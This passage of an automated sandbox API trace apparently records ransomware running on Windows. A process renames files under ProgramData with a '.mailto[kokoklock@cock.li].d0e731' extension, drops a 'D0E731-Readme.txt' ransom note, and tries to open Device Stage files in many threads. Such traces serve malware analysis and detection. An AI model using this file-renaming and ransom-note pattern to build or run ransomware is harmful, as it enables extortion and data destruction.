[0082.484] WriteFile (in: hFile=0x640, lpBuffer=0x342ca60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x272bfa54, lpOverlapped=0x0 | out: lpBuffer=0x342ca60*, lpNumberOfBytesWritten=0x272bfa54*=0x20, lpOverlapped=0x0) returned 1 [0082.484] WriteFile (in: hFile=0x640, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x272bfa54, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x272bfa54*=0x4, lpOverlapped=0x0) returned 1 [0082.484] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0082.484] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0082.484] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca88) returned 1 [0082.484] CloseHandle (hObject=0x640) returned 1 [0082.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xfa) returned 0x3435488 [0082.484] wcscpy (in: _Dest=0x3435488, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl" [0082.484] wcscat (in: _Dest=0x3435488, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl.mailto[kokoklock@cock.li].d0e731" [0082.484] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\etllogs\\autologger\\autologger-diagtrack-listener.etl"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\etllogs\\autologger\\autologger-diagtrack-listener.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.485] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0082.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435488) returned 1 [0082.485] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl", dwFileAttributes=0x2020) returned 0 [0082.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6a68 [0082.485] wcscpy (in: _Dest=0x33e6a68, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\" [0082.485] wcscat (in: _Dest=0x33e6a68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\D0E731-Readme.txt" [0082.485] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\etllogs\\autologger\\d0e731-readme.txt")) returned 0xffffffff [0082.486] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\etllogs\\autologger\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0082.486] WriteFile (in: hFile=0x640, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x272bfa50, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x272bfa50*=0x481, lpOverlapped=0x0) returned 1 [0082.487] CloseHandle (hObject=0x640) returned 1 [0082.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6a68) returned 1 [0082.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34314c0) returned 1 [0082.487] RtlExitUserThread (Status=0x1) Thread: id = 1100 os_tid = 0x1284 [0082.462] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png")) returned 0x20 [0082.477] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", dwFileAttributes=0x20) returned 0 [0082.477] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.477] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", dwFileAttributes=0x20) returned 0 [0082.477] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476af0) returned 1 [0082.477] RtlExitUserThread (Status=0x0) Thread: id = 1101 os_tid = 0x1288 [0082.481] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml")) returned 0x20 [0082.489] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", dwFileAttributes=0x20) returned 0 [0082.489] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.489] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", dwFileAttributes=0x20) returned 0 [0082.489] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475c98) returned 1 [0082.489] RtlExitUserThread (Status=0x0) Thread: id = 1102 os_tid = 0x1290 [0082.490] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png")) returned 0x20 [0082.492] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", dwFileAttributes=0x20) returned 0 [0082.492] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.492] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", dwFileAttributes=0x20) returned 0 [0082.492] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475d70) returned 1 [0082.492] RtlExitUserThread (Status=0x0) Thread: id = 1103 os_tid = 0x1298 [0082.493] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png")) returned 0x20 [0082.495] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", dwFileAttributes=0x20) returned 0 [0082.496] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.496] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", dwFileAttributes=0x20) returned 0 [0082.496] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476a18) returned 1 [0082.496] RtlExitUserThread (Status=0x0) Thread: id = 1104 os_tid = 0x12a0 [0082.497] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml")) returned 0x20 [0082.497] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", dwFileAttributes=0x20) returned 0 [0082.497] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.497] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", dwFileAttributes=0x20) returned 0 [0082.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475e48) returned 1 [0082.497] RtlExitUserThread (Status=0x0) Thread: id = 1105 os_tid = 0x12a4 [0082.499] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png")) returned 0x20 [0082.500] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", dwFileAttributes=0x20) returned 0 [0082.500] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.500] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", dwFileAttributes=0x20) returned 0 [0082.500] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7d68) returned 1 [0082.500] RtlExitUserThread (Status=0x0) Thread: id = 1106 os_tid = 0x12a8 [0082.501] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png")) returned 0x20 [0082.502] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", dwFileAttributes=0x20) returned 0 [0082.502] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.502] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", dwFileAttributes=0x20) returned 0 [0082.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f80a8) returned 1 [0082.502] RtlExitUserThread (Status=0x0) Thread: id = 1107 os_tid = 0x12c0 [0082.503] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png")) returned 0x20 [0082.504] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", dwFileAttributes=0x20) returned 0 [0082.505] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.505] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", dwFileAttributes=0x20) returned 0 [0082.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475f20) returned 1 [0082.505] RtlExitUserThread (Status=0x0) Thread: id = 1108 os_tid = 0x12c8 [0082.507] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3487288 [0082.507] wcscpy (in: _Dest=0x3487288, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" [0082.507] wcscat (in: _Dest=0x3487288, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\" [0082.508] wcscat (in: _Dest=0x3487288, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*" [0082.508] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ab948 [0082.508] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33dff58 [0082.509] wcscmp (_String1=".", _String2=".") returned 0 [0082.509] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.509] wcscmp (_String1="..", _String2=".") returned 1 [0082.509] wcscmp (_String1="..", _String2="..") returned 0 [0082.509] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0082.509] wcscmp (_String1="resource.xml", _String2=".") returned 1 [0082.509] wcscmp (_String1="resource.xml", _String2="..") returned 1 [0082.509] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x34945f8 [0082.509] wcscpy (in: _Dest=0x34945f8, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" [0082.509] wcscat (in: _Dest=0x34945f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\" [0082.509] wcscat (in: _Dest=0x34945f8, _Source="resource.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" [0082.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34945f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0082.939] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0082.939] FindClose (in: hFindFile=0x33dff58 | out: hFindFile=0x33dff58) returned 1 [0082.939] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ab948) returned 1 [0082.939] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3487288) returned 1 [0082.939] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431400) returned 1 [0082.939] RtlExitUserThread (Status=0x0) Thread: id = 1109 os_tid = 0x12cc [0082.509] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml")) returned 0x20 [0082.510] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", dwFileAttributes=0x20) returned 0 [0082.510] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.510] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", dwFileAttributes=0x20) returned 0 [0082.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34323c0) returned 1 [0082.511] RtlExitUserThread (Status=0x0) Thread: id = 1110 os_tid = 0x12f8 [0082.512] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x34874e0 [0082.512] wcscpy (in: _Dest=0x34874e0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" [0082.512] wcscat (in: _Dest=0x34874e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\" [0082.512] wcscat (in: _Dest=0x34874e0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*" [0082.512] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34abbb0 [0082.512] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x34abbb0 | out: lpFindFileData=0x34abbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33dff98 [0082.513] wcscmp (_String1=".", _String2=".") returned 0 [0082.513] FindNextFileW (in: hFindFile=0x33dff98, lpFindFileData=0x34abbb0 | out: lpFindFileData=0x34abbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.513] wcscmp (_String1="..", _String2=".") returned 1 [0082.513] wcscmp (_String1="..", _String2="..") returned 0 [0082.513] FindNextFileW (in: hFindFile=0x33dff98, lpFindFileData=0x34abbb0 | out: lpFindFileData=0x34abbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0082.513] wcscmp (_String1="resource.xml", _String2=".") returned 1 [0082.513] wcscmp (_String1="resource.xml", _String2="..") returned 1 [0082.513] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x34946d8 [0082.513] wcscpy (in: _Dest=0x34946d8, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" [0082.513] wcscat (in: _Dest=0x34946d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\" [0082.513] wcscat (in: _Dest=0x34946d8, _Source="resource.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" [0082.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 